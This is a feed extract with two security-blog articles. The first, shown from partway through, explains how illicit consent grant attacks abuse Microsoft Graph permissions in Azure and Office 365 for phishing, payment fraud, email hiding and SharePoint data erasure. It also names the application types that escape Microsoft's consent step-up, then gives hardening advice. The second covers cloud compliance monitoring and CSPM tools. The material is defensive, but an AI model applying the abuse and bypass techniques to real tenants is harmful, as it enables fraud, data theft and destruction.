<p style="text-align: justify;">While some <strong>permissions require administrator approval by default</strong>, other permissions can be granted directly by users in non-hardened Azure environments. The <strong>permissions that can be recovered</strong> by the attacker during this type of attack <strong>depend on the configuration of the targeted Azure AD tenant</strong>.</p>
<p style="text-align: justify;">Here are some examples of possible abuse by an attacker who has managed to retrieve a user&#8217;s permissions on a non-hardened environment.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20143 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2.png" alt="" width="3083" height="1330" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2.png 3083w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2-437x189.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2-71x31.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2-768x331.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2-1536x663.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4EN-2-2048x884.png 2048w" sizes="auto, (max-width: 3083px) 100vw, 3083px" /></p>
<p style="text-align: center;"><em>Actions that can be taken following a successful malicious consent attack on an unhardened Azure environment</em></p>
<p style="text-align: justify;"> </p>
<ul style="text-align: justify;">
<li><strong>Azure Active Directory:</strong>
<ul>
<li>The <span style="color: #048b9a;">Microsoft Graph User.ReadBasic.All</span> permission allows <strong>retrieval of the email addresses of all users in a tenant</strong>, allowing the deployment of larger-scale phishing attacks from an initial compromise.</li>
</ul>
</li>
<li><strong>Outlook:</strong>
<ul>
<li>Sending an email on behalf of a user can enable so-called &#8220;<strong>president fraud</strong><em>&#8221; </em>attacks using the <span style="color: #048b9a;">Microsoft Graph Mail.Send</span> and <span style="color: #048b9a;">Mail.ReadWrite</span> permissions. A compromised employee with a high level of authority could, for example, send an email requesting that a large amount of money be sent urgently to a bank account not listed by the company.</li>
<li>Sent emails can also be hidden using <strong>Outlook filtering rules</strong> that can be modified using the <span style="color: #048b9a;">MailboxSettings.ReadWrite</span> permission. The attacker will then be able to <strong>redirect all emails</strong> related to his attack and associated replies to a different folder in the outbox and inbox.</li>
</ul>
</li>
<li><strong>Teams:</strong>
<ul>
<li><strong>Reading and sending messages</strong> via Teams (<span style="color: #048b9a;">Microsoft Graph Chat.ReadWrite</span>) is an effective method for an attacker to impersonate a user. This method can also be used to carry out &#8220;<strong>president fraud</strong>&#8221; attacks.</li>
</ul>
</li>
<li><strong>OneDrive and SharePoint:</strong>
<ul>
<li>Read access to <strong>files accessible on OneDrive and SharePoint</strong> (<span style="color: #048b9a;">Microsoft Graph Files.Read.All</span>) can provide access to all files accessible by the user. In addition, SharePoint files are often <strong>stored with permissive access rights </strong>which could allow attackers to retrieve a large number of <strong>files</strong>. It is not uncommon, for example, to have access to scripts or configuration files containing passwords in clear text.</li>
<li>In addition, SharePoint&#8217;s search capabilities, including reading and indexing the content of Office files, can be used to target certain keywords such as &#8220;password&#8221;.</li>
<li>The writing rights on a SharePoint file (<span style="color: #048b9a;">Microsoft Graph Files.ReadWrite.All</span>) can also have a significant impact: SharePoint&#8217;s versioning features limit the recording of old file versions to 100 versions by default. This means that in case of automated and successive rewrites more than 100 times, <strong>the initial version of the file would no longer be recoverable</strong>. This would allow an attacker to <strong>erase a large amount of data</strong> if an account with write rights to sensitive files is compromised. In case of deletion, it would then be necessary to contact Microsoft support to try to recover the data from the daily cold backups.</li>
</ul>
</li>
<li><strong>OneNote:</strong>
<ul>
<li>Synchronized OneNote files (<span style="color: #048b9a;">Microsoft Graph Notes.ReadWrite</span> or <span style="color: #048b9a;">Notes.Read.All</span>) can contain sensitive information such as <strong>meeting minutes, and confidential information, but also technical information</strong> such as passwords stored in an unsecured manner.</li>
</ul>
</li>
<li><strong>Azure Resources</strong>:
<ul>
<li>Access to key vaults and storage accounts (<span style="color: #048b9a;">Azure Key Vault</span> and <span style="color: #048b9a;">Azure Storage user_impersonation</span>) can give access to sensitive elements in <strong>case of compromise of developer</strong> or technical user <strong>accounts</strong>. These elements can <strong>facilitate the compromise of Azure resources</strong> such as virtual machines and serve as a <strong>rebound point for an external attacker</strong>.</li>
</ul>
</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">These actions can have <strong>serious impacts</strong> on a company. In addition, they can <strong>facilitate more elaborate attacks</strong> by disclosing sensitive information to an external attacker.</p>
<p style="text-align: justify;">If <strong>approved by an administrator</strong>, more sensitive permissions can be retrieved such as write access to <em>a</em><strong>ll Azure Active Directory information.</strong></p>
<p style="text-align: justify;">Finally, administrators have the <strong>right to grant all users permission to an application</strong> of the tenant. In this case, the identity of all users could be impersonated to grant permission.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Microsoft&#8217;s implementation of the &#8220;risk-based consent step-up&#8221; to limit attacks by illicit consent</h1>
<p style="text-align: justify;">In response to this threat, <strong>Microsoft implemented</strong> additional protections <strong>in November 2020</strong> to limit the impact of this type of attack. The &#8220;<strong>risk-based consent step-up</strong>&#8221; feature aims to <strong>raise a warning</strong> and ask for <strong>an administrator&#8217;s validation</strong> in case of a permission <strong>request that seems fraudulent</strong>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20147 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter.png" alt="" width="397" height="412" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter.png 397w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter-184x191.png 184w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter-38x39.png 38w" sizes="auto, (max-width: 397px) 100vw, 397px" /></p>
<p style="text-align: center;"><em>The access request from an unverified application considered sensitive is blocked by default</em></p>
<p style="text-align: justify;">This applies in the case of a <strong>permission request by an unverified application created outside the targeted tenant</strong>. By default, all permissions are affected, except for reading the target user&#8217;s profile, to facilitate single sign-on (SSO) with third-party applications.</p>
<p style="text-align: justify;">This restriction is <strong>implemented by default </strong>on all Azure tenants.</p>
<p style="text-align: justify;">Although these <strong>restrictions limit attacks</strong>, 3 types of applications <strong>can still be used for malicious purposes:</strong> legacy applications, applications internal to the targeted tenant and verified applications.</p>
<ul style="text-align: justify;">
<li><strong>Legacy applications:</strong>
<ul>
<li>To allow for <strong>backward compatibility, no warning message is displayed </strong>for a permission request from an <strong>application created before November 2020</strong>.</li>
<li><em>Prerequisite for the attacker:</em> have an <strong>application created on an Azure tenant before November 2020</strong> or compromise a tenant containing such applications.</li>
</ul>
</li>
<li><strong>Internal applications of the targeted tenant:</strong>
<ul>
<li>These applications <strong>are not covered by the &#8220;risk-based consent step-up&#8221;</strong><em>. </em>By default, all users of an Azure tenant have the right to <strong>create an enterprise application on their tenant, which </strong>makes it easier to attack an unhardened environment.</li>
<li><em>Prerequisites for the attacker:</em> to have a first compromised account on the IS of the targeted company, to realize that the creation of applications is authorized for standard users and to <strong>deploy an internal application to the tenant.</strong></li>
</ul>
</li>
<li><strong>Verified applications:</strong>
<ul>
<li>Verified applications are not covered by the risk-based consent step-up. The Microsoft verification process requires integration into the Microsoft Partner Network.</li>
<li><em>Prerequisite for the attacker</em>: have a <strong>verified application</strong> or <strong>compromise an Azure tenant with verified applications</strong> and hijack the use of these legitimate applications.</li>
</ul>
</li>
</ul>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Possible remediations</h1>
<p style="text-align: justify;">To limit the probability and impact of such attacks, the following recommendations can be <strong>applied and adapted to the company&#8217;s context:</strong></p>
<ul style="text-align: justify;">
<li>Allow <strong>only applications explicitly approved by administrators</strong>. This configuration is the most secure, but the validation step can be a bottleneck since it is usually the Global Administrators and Privileged Role Administrators who must give validation. In practice, some rights can also be granted via Cloud Application Administrators or Application Administrators.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20150 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa.png" alt="" width="1392" height="522" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa.png 1392w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa-437x164.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa-768x288.png 768w" sizes="auto, (max-width: 1392px) 100vw, 1392px" /></p>
<p style="text-align: center;"><em>Granting privilege consent by standard users can be blocked via Azure AD configurations</em></p>
<ul style="text-align: justify;">
<li><strong>Limit the permissions which can be granted.</strong> An administrator can specify Low-risk permissions that can be granted directly by users.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20152 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin.png" alt="" width="949" height="361" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin.png 949w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin-437x166.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin-768x292.png 768w" sizes="auto, (max-width: 949px) 100vw, 949px" /></p>
<p style="text-align: center;"><em>Granting privilege consent by standard users can be limited to rights considered non-sensitive via Azure AD configurations</em></p>
<ul style="text-align: justify;">
<li>Create a <strong>legitimate application validation process and admin consent workflow to track and justify these validations</strong>. By tightening up the consent process, it is necessary to jointly implement a simple and intuitive way for users to request exceptions to grant permissions related to legitimate use cases. These exceptions must be tracked and justified to ensure the legitimacy of the requests.</li>
<li><strong>Regularly review the rights granted to applications </strong>(Enterprise applications): permissions granted by users should be reviewed to ensure that only legitimate applications have rights to the tenant&#8217;s Office 365 resources.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20154 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext.png" alt="" width="1392" height="389" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext.png 1392w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext-437x122.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext-768x215.png 768w" sizes="auto, (max-width: 1392px) 100vw, 1392px" /></p>
<p style="text-align: center;"><em>Regular review of trusted applications on an Azure tenant facilitates checking that the privileges granted are still valid</em></p>
<p style="text-align: justify;"> </p>
<ul style="text-align: justify;">
<li>Monitor suspicious access to Office 365 resources. For example, it is possible to set up <strong>alert rules </strong>on the number of files downloaded over a short period of time to identify <strong>data exfiltration attempts</strong>.</li>
<li><strong>Limit access rights to SharePoint files to what is strictly necessary</strong>: files that are accessible to all users within a company should be checked at regular intervals and access rights to the most sensitive files should be reviewed to ensure that only the necessary people have access.</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Conclusion</h1>
<p style="text-align: justify;">The <strong>various phishing attacks</strong> presented in this article are based on a <strong>lack of hardening of Azure AD configurations</strong>. The implementation of <strong>a second authentication factor</strong>, while necessary for traditional phishing attacks, is not sufficient to protect against the other attacks presented. For attacks via device code authentication, administrators can implement <strong>conditional access policies</strong> to limit suspicious connections from devices not under the control of the organization. For illicit consent grant attacks, the most effective measure is to <strong>only allow applications approved by administrators</strong>.</p>
<p style="text-align: justify;">These <strong>three elements of hardening</strong>, although simple in appearance, can be the subject of <strong>real security projects to consider the existing configurations and usages</strong>, in particular by ensuring that existing applications are not blocked by these measures, and by <strong>implementing</strong> regular review and validation <strong>processes</strong> for new applications.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Bibliography</h3>
<p style="text-align: justify;"><a href="https://aadinternals.com/post/phishing/">https://aadinternals.com/post/phishing/</a></p>
<p style="text-align: justify;"><a href="https://jeffreyappel.nl/protect-against-oauth-consent-phishing-attempts-illicit-consent-attack/">https://jeffreyappel.nl/protect-against-oauth-consent-phishing-attempts-illicit-consent-attack/</a></p>
<p style="text-align: justify;"><a href="https://positivethinking.tech/insights/what-is-an-illicit-consent-grant-attack-in-office-365/">https://positivethinking.tech/insights/what-is-an-illicit-consent-grant-attack-in-office-365/</a></p>
<p style="text-align: justify;"><a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/publisher-verification-overview">https://docs.microsoft.com/en-us/azure/active-directory/develop/publisher-verification-overview</a></p>
<p style="text-align: justify;"><a href="https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/user-admin-consent-overview">https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/user-admin-consent-overview</a></p>
<p style="text-align: justify;"><a href="https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-app-consent">https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-app-consent</a></p>
<p style="text-align: justify;"><a href="https://www.microsoft.com/en-us/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/">https://www.microsoft.com/en-us/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/</a></p>
<p style="text-align: justify;"><a href="#_ftnref1" name="_ftn1">[1]</a> https://learn.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-device-code</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/03/illicit-consent-grant-attacks-targeting-azure-and-office-365-still-a-threat/">Illicit consent grant attacks targeting Azure and Office 365: still a threat?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/03/illicit-consent-grant-attacks-targeting-azure-and-office-365-still-a-threat/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Compliance in the Cloud, a new Paradigm</title>
		<link>https://www.riskinsight-wavestone.com/en/2022/10/compliance-in-the-cloud-a-new-paradigm/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2022/10/compliance-in-the-cloud-a-new-paradigm/#respond</comments>
		
		<dc:creator><![CDATA[Etienne Lafore]]></dc:creator>
		<pubDate>Fri, 07 Oct 2022 08:00:00 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[CSPM]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18873</guid>

					<description><![CDATA[<p>Feedback on AWS and Azure Misconfigurations in cloud environments are still a source of major incidents and will keep on reoccurring endlessly. With the news continuously providing new examples:  leakage of 1 billion citizens&#8217; data linked to a key leak,...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/10/compliance-in-the-cloud-a-new-paradigm/">Compliance in the Cloud, a new Paradigm</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 style="text-align: justify;">Feedback on AWS and Azure</h1>
<p style="text-align: justify;">Misconfigurations in cloud environments are still a source of major incidents and will keep on reoccurring endlessly. With the news continuously providing new examples:  <a href="https://twitter.com/cz_binance/status/1543905416748359680">leakage of 1 billion citizens&#8217; data linked to a key leak</a>, <a href="https://lambdascientifica.com/new-office-365-phishing-campaign-used-stolen-kaspersky-amazon-ses-token-to-trick-victims/">phishing campaign using a Kaspersky AWS key</a>, <a href="https://gizmodo.com/iranian-chat-app-gets-its-data-wiped-out-in-a-cyberatta-1846181651">misconfiguration of a NoSQL database</a>, <a href="https://www.darkreading.com/application-security/cloud-misconfig-exposes-3tb-sensitive-airport-data-amazon-s3-bucket">3TB of sensitive airport data&#8230;</a></p>
<p style="text-align: justify;">The objective of this article is to illustrate how to anticipate a scenario by implementing a Control Tower, or a tool for continuous supervision of the configuration of Cloud resources.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">To begin with, a little theory about logs</h2>
<p style="text-align: justify;">Cloud logs can be divided into 3 categories:</p>
<ul style="text-align: justify;">
<li><strong>System logs</strong>: They are generated by the OS and applications hosted in IaaS/CaaS mode. The stakes are not different from a classic on premise IS, but only the architecture of logs collection can be adapted.</li>
</ul>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18841 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1.png" alt="" width="1187" height="333" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1.png 1187w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1-437x123.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image1-768x215.png 768w" sizes="auto, (max-width: 1187px) 100vw, 1187px" /></p>
<ul style="text-align: justify;">
<li><strong>Security infrastructure admin logs</strong>: Includes the logs of the security appliances, but also of the PaaS security services used by the customer and the logs of the network flows. For the appliances, there are no new changes here either, it is the same component already in use and well known. However, for security PaaS services and network logs, it is necessary to implement a specific integration and adapt the detection scenarios.</li>
<li><strong>Cloud Infra API logs</strong>: During each API call to create, modify or delete a resource, the Cloud Service Provider will generate a log.</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">These logs are accessible in dedicated managed services such as AWS CloudTrail, AWS config or Azure activity log:</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18843 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2.png" alt="" width="475" height="60" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2.png 475w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2-437x55.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image2-71x9.png 71w" sizes="auto, (max-width: 475px) 100vw, 475px" /></p>
<p style="text-align: justify;">The time taken to make the logs available will depend on the SLA of the CSP, but they are generally available within 15 minutes after the operation has been carried out.</p>
<p style="text-align: justify;">Exploiting these logs will enable you to move from a manual and static compliance to an automatic and continuous compliance:</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18877 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3ENTer.png" alt="" width="1038" height="301" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3ENTer.png 1038w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3ENTer-437x127.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3ENTer-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image3ENTer-768x223.png 768w" sizes="auto, (max-width: 1038px) 100vw, 1038px" /></p>
<p> </p>
<h2 style="text-align: justify;">What are the technical options for building a Control Tower?</h2>
<p style="text-align: justify;">There are three main options for a customer to implement a control tower:</p>
<ul style="text-align: justify;">
<li><strong>Native (</strong>built-in)</li>
<li><strong>Custom native</strong></li>
<li><strong>Cloud Security Posture Management </strong>(CSPM)</li>
</ul>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Native (built-in)</h3>
<p style="text-align: justify;">In the first case, the tools activated by the Cloud Service Provider are default, sometimes free of charge, using predefined alerts to assess the compliance of your environments and deliver using a security score.</p>
<p style="text-align: justify;">For example, Trusted Advisor on AWS or Microsoft Defender for Cloud on Azure.           </p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-18849 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4.png" alt="" width="4116" height="1230" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4.png 4116w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-1536x459.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image4-2048x612.png 2048w" sizes="auto, (max-width: 4116px) 100vw, 4116px" /></p>
<p style="text-align: justify;">These native and non-customized solutions make it possible to initiate a control tower, but they are limited as they are a generic response to specific problems.</p>
<h3 style="text-align: justify;"> </h3>
<h3 style="text-align: justify;">Custom native</h3>
<p style="text-align: justify;">Cloud providers provide many services that allow customers to build a compliance tool for their infrastructure. The CSP tools available are customised to create specific compliance alerts and custom dashboards/KPIs.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18853 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5EN.png" alt="" width="1186" height="562" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5EN.png 1186w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5EN-403x191.png 403w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5EN-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image5EN-768x364.png 768w" sizes="auto, (max-width: 1186px) 100vw, 1186px" /></p>
<p style="text-align: justify;">In this option, it is necessary to allocate 10-to-40-man days to the project, in order to implement the monitoring infrastructure, define the first alerts and build the dashboards.</p>
<p style="text-align: justify;">The use of several tenants, organizations or Clouds will require a specific architecture to be defined as there is no turnkey solution.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">CSPM : Cloud Security Posture Management</h3>
<p style="text-align: justify;">Wavestone sees a booming market within CSPM where, <a href="https://www.marketsandmarkets.com/Market-Reports/cloud-security-posture-management-market-71228949.html">Marketsandmarkets</a> estimates that the CSPM market will more than double between 2022 and 2027 from $4.2 billion to $8.6 billion.</p>
<p style="text-align: justify;">CSPMs natively support numerous Cloud providers and provide their customers with numerous dashboards based on the major market repositories. Customers can also easily define their own standards, policies and alerts.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18857 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN.png" alt="" width="4389" height="1874" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN.png 4389w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN-437x187.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN-768x328.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN-1536x656.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image6EN-2048x874.png 2048w" sizes="auto, (max-width: 4389px) 100vw, 4389px" /></p>
<p style="text-align: justify;">The deployment of this type of tool is very simple, within few days it can be accessible to the customer.</p>
<p style="text-align: justify;">The recurring costs may however be significant: typically 3 &#8211; 5% of the Cloud bill in addition to the Cloud services to be activated (similar to the native and custom services option).</p>
<p style="text-align: justify;">Detection speed will also be slightly slower as the CSPM SLA adds to the CSP log generation SLA, typically 20 minutes &#8211; 1 hour detection time.</p>
<p> </p>
<h2 style="text-align: justify;">What should my Control Tower monitor?</h2>
<p style="text-align: justify;">The major problem customers face when implementing a CSPM with proposed alert activation, is the generation of tens or even hundreds of thousands of high criticality alerts to process. Teams don&#8217;t know where to start and are often feel discouraged. Care must be taken not to overload the security teams!</p>
<p style="text-align: justify;">For the implementation of a control tower on a production Cloud IS, we recommend deploying security controls in waves of 10 &#8211; 15 at a time. To do this, you need to prioritise the most important topics. Below is an example of prioritisation:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18861 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN.png" alt="" width="3283" height="1170" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN.png 3283w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN-437x156.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN-768x274.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN-1536x547.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image7EN-2048x730.png 2048w" sizes="auto, (max-width: 3283px) 100vw, 3283px" /></p>
<p style="text-align: justify;">Unfortunately, every rule has its exceptions! Mainly linked to the existing Cloud, specific architectures or technical constraints, it is therefore essential to foresee this situation and the associated governance at the design stage:</p>
<ul style="text-align: justify;">
<li>Validation: by the local CISO and/or the global CISO</li>
<li>Expiration</li>
<li>Review: decentralised (locally or during annual global audits) or centralised (through continuous global monitoring)</li>
</ul>
<p style="text-align: justify;">Using tags for cloud resources is currently, the easiest way to do this, however, be aware that some resources may not be compatible such as IAM services.</p>
<p style="text-align: justify;">No matter which model is chosen, the issues to be addressed remain mainly the same:</p>
<ul style="text-align: justify;">
<li>Ensuring the legitimate use and application of exceptions</li>
<li>Define specific indicators on exceptions for subjects at risk from Top Management</li>
<li>Set up regular exception monitoring campaigns</li>
<li>Alerting and dealing with when an exception expires</li>
</ul>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">How to implement an effective remediation process?</h2>
<p style="text-align: justify;">The implementation of a control tower will generate numerous alerts, which will have to be corrected. The three options possible are listed below: </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18865 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN.png" alt="" width="4013" height="1201" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN.png 4013w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN-1536x460.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image8EN-2048x613.png 2048w" sizes="auto, (max-width: 4013px) 100vw, 4013px" /></p>
<h3 style="text-align: justify;">Deny</h3>
<p style="text-align: justify;">Why remediate when you can simply block non-compliant resources preventively?</p>
<p style="text-align: justify;">With <a href="https://github.com/Azure/Community-Policy">Azure Policy</a> or <a href="https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html">AWS SCP</a>, it is natively possible to block certain configurations and thus avoid generating new alerts.</p>
<p style="text-align: justify;">For use cases that are not covered, it is possible to set up checks on deployment templates in the CI/CD chains (this nevertheless requires a high level of maturity).</p>
<p style="text-align: justify;">Deploying a deny mechanism on existing environments is rarely implemented as the risk of generating dissatisfaction among development teams is too high:</p>
<ul>
<li style="text-align: justify;">Existing non-compliant resources can no longer be modified</li>
<li style="text-align: justify;">It will generate an additional burden on the development teams because habits must be changed</li>
<li style="text-align: justify;">&#8230;</li>
</ul>
<h3 style="text-align: justify;"> </h3>
<h3>Automatic remediation</h3>
<p style="text-align: justify;">Here, the aim is to correct deviant configurations directly and automatically but beware of side effects!</p>
<p style="text-align: justify;">To do this, it is possible to use the cloud provider&#8217;s native services (Azure policy or AWS SSM Manager) or to develop functions for unsupported cases (AWS Lambda, Azure Function or Azure LogicApps).</p>
<p> </p>
<h3 style="text-align: justify;">Manual</h3>
<p style="text-align: justify;">Unfortunately, this is the most common solution, but also the most expensive in terms of human resources. Deviating configurations are remediated manually by the teams.</p>
<p style="text-align: justify;">To guarantee the success of a manual remediation, it is necessary to have strong support from top management to ensure the adhesion and motivation of the teams.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="alignleft wp-image-18869 size-medium" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-211x191.png" alt="" width="211" height="191" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-211x191.png 211w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-43x39.png 43w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-768x694.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-1536x1389.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/10/Image9EN-2048x1851.png 2048w" sizes="auto, (max-width: 211px) 100vw, 211px" />The implementation of a Cloud OWSAP type dashboard highlighting the priorities of the moment is a good solution, allowing each person to take responsibility for their area. Each of the subjects mentioned opposite can have one or more indicators.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">However, having the support of management is not sufficient, it is necessary to know the person responsible for the resource in order to ask  them to make the changes. In a large international group this is not easy. Our recommendation is to appoint at least one security officer per account/subscription who should have detailed knowledge of the applications and the people responsible for the resources.</p>
<p style="text-align: justify;">In parallel, it is necessary to implement an effective training and awareness programme. In order to minimise the number of alerts and avoid filling the bathtub faster than it empties, the development teams must be fully aware of the security requirements in the cloud.</p>
<p style="text-align: justify;">To begin the remediation process, our advice is to start centrally with an ample sized team in charge of implementing the control tower, but also in charge of mobilising and training local relays, enabling local teams to monitor and manage compliance on their own.</p>
<p style="text-align: justify;"> </p>
